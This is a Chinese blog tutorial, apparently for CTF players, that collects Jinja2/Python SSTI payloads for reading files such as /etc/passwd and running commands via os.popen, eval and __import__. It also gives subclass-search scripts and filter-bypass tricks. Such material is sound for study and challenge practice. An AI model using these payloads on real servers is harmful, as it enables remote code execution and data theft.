当前位置:网站首页>SSTI-payload和各种绕过方法
SSTI-payload和各种绕过方法
2022-07-26 05:11:00 【jjj34】
总结SSTI题目的流程(以python3为例)
类的下标会因为python版本的不同(python2,python3)而不同
1.找到object类,通过__mro__或__bases__来找
//针对不同的网站需要对索引进行修改,直到返回的类为object
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[11]如下:

2.查看object类的子类,通过.__subclasses__()
在不同题目中的子类不同,有一些会被禁掉,通过下面这些payload查看哪些可以用的
''.__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()3.通过子类找能利用的函数
1. 文件读取第91个<class '_frozen_importlib_external.FileLoader'>
''.__class__.__mro__[1].__subclasses__()[91].get_data(0,'文件路径')2.文件读写第40个<class file>(如果有的话)
#读
''.__class__.__mro__[1].__subclasses__()[40]('文件路径').read()
#写
''.__class__.__mro__[1].__subclasses__()[40]('文件路径','写的方式').write()3.命令执行
直接利用os.popen
object下的第71个类 <class 'site._Printer'>
{
{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}如果没有上面这个类就得麻烦一点,需要通过__import__ 或者 __builtins__来实现命令执行
做法: 找到能够能够实现 .__init__.__globals__的类,并且进一步找模块: __import__ 或者 __builtins__
python代码如下:
num = 0
str1=''
select=input("请选择查找的方法:1.__builtins__;2.__import__;")
if select=='1' :
str1="__builtins__"
if select=='2' :
str1="__import__"
for item in ''.__class__.__mro__[1].__subclasses__():
try:
if str1 in item.__init__.__globals__:
print(num,item)
num+=1
except:
num+=1或者用这个,一步到位找eval
count = -1
# for i in ''.class.mro[-1].subclasses():
for i in ''.__class__.__mro__[-1].__subclasses__():
count += 1
if "warpper" in repr(i.__init__):
pass
else:
try:
if "eval" in repr(i.__init__.__globals__['__builtins__']):
print(count, i)
except:
pass举个例子具有__builtins__的类

具有builtins的话:利用eval
{
{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}利用command(有些题目可能会提示没有command包,那就用不了)
{
{
{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}{
{
{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')}}{
{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}具有import方法

payload如下:
{
{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}其他
Jinja2创建的url_for()方法
{
{url_for.__globals__.os.popen("whoami").read()}}通过config,调用os
{
{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}下面的这几个不一定行
{
{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("whoami").read()}}
// os._wrap_close类中的popen
{
{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
// __builtins__
{
{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
对命令执行进行总结:
1.找到object类
2.调用相关函数:
命令执行:os.system() , os.popen().read(),eval()
怎么找? 1.通过python脚本去找
2.如果某个类没有os,却有import,可以通过import导入os的包后通过os进行命令执行
3.类的位置会因为python的版本不同而不同,只需要去官网查一下,或者自己一步一步找即可
至于怎么看服务器python的版本?->bp抓包,直接看返回包即可
各种绕过方式(欢迎补充)
方法1关键词被禁
通过拼接字符串
.__class__ -> ["__c""lass__"]
点被禁了
1.通过 [] 来替代点
.__class__ -> [__class__]2.通过|attr()替换
.__class__ -> |attr("__class__")
如
request.__class__ -> request|attr("__class__")方法2过滤了_
通过传递参数绕过
Get方式传参的
{
{''.__class__}} => {
{''[request.args.t1]}}?t1=__class__
Post方式传参(分两步)
{
{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}利用hackbar在这个页面传一个Post数据包
class=__class__&mro=__mro__&subclasses=__subclasses__方法3过滤引号
也是通过传参实现绕过
{
{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd方法4特殊字符绕过
直接在这上面ctrl+f搜等价替换的符号,然后利用python脚本进行替换
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
str='{
{\'\'.__class__}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
str=str.replace('\"','"')
print(str)方法5编码绕过
[].__class__->[].__getattribute__('X19jbGFzc19f'.decode('base64'))边栏推荐
- Recommend 12 academic websites for free literature search, and suggest to like and collect!
- MODFLOW Flex、GMS、FEFLOW、HYDRUS实践应用
- 地球系统模式(CESM)实践技术
- Redis过期删除策略和内存淘汰策略
- Excel VBA:实现自动下拉填充公式至最后一行
- JVM Lecture 5: how to deal with peak push of vertical and horizontal data
- Black eat black? The man cracked the loopholes in the gambling website and "collected wool" for more than 100000 yuan per month
- MySQL八股知识点:从入门到删库
- kubernetes install completed
- 【洛谷】P1383 高级打字机
猜你喜欢

嵌入式分享合集21

Uniapp applet framework - a set of code, multi segment coverage

unity场景跳转脚本

Week 6 Learning Representation: Word Embedding (symbolic →numeric)

【pytorch】torch1.8.1安装、查看torch版本、GPU是否可用

Go-Excelize API源码阅读(六)—— DeleteSheet(sheet string)

Trend of the times - the rise of cloud native databases

pillow的原因ImportError: cannot import name ‘PILLOW_VERSION‘ from ‘PIL‘,如何安装pillow<7.0.0

推荐必读:测试人员如何快速熟悉新业务?

未来大气污染变化模拟
随机推荐
When AQS wakes up the thread, I understand why it traverses from the back to the front
推荐必读:测试人员如何快速熟悉新业务?
你对“happen-before原则”的理解可能是错的?
Mysql优化
基于R语言的Meta分析【全流程、不确定性分析】方法与Meta机器学习
面试之请详细说下synchronized的实现原理以及相关的锁
[pytorch] install torch 1.8.1 and check whether torch version and GPU are available
基于通用优化软件GAMS的数学建模和优化分析
【洛谷】P3919 【模板】可持久化线段树1(可持久化数组)
mysql如果计算本月变动/本月增幅/同比变动/同比增幅?
Test of countlaunch demo
mysql函数汇总之日期和时间函数
Common solutions for distributed ID - take one
Excel VBA:将多个工作表保存为新文件
Shell的read 读取控制台输入、read的使用
NPM operation instruction
[acwing] 2983. Toys
The first positive number missing in question 41 of C language. Two methods, preprocessing, fast sorting and in situ hashing
Compilation method of flood control evaluation report and flood modeling under the new guidelines
嵌入式分享合集21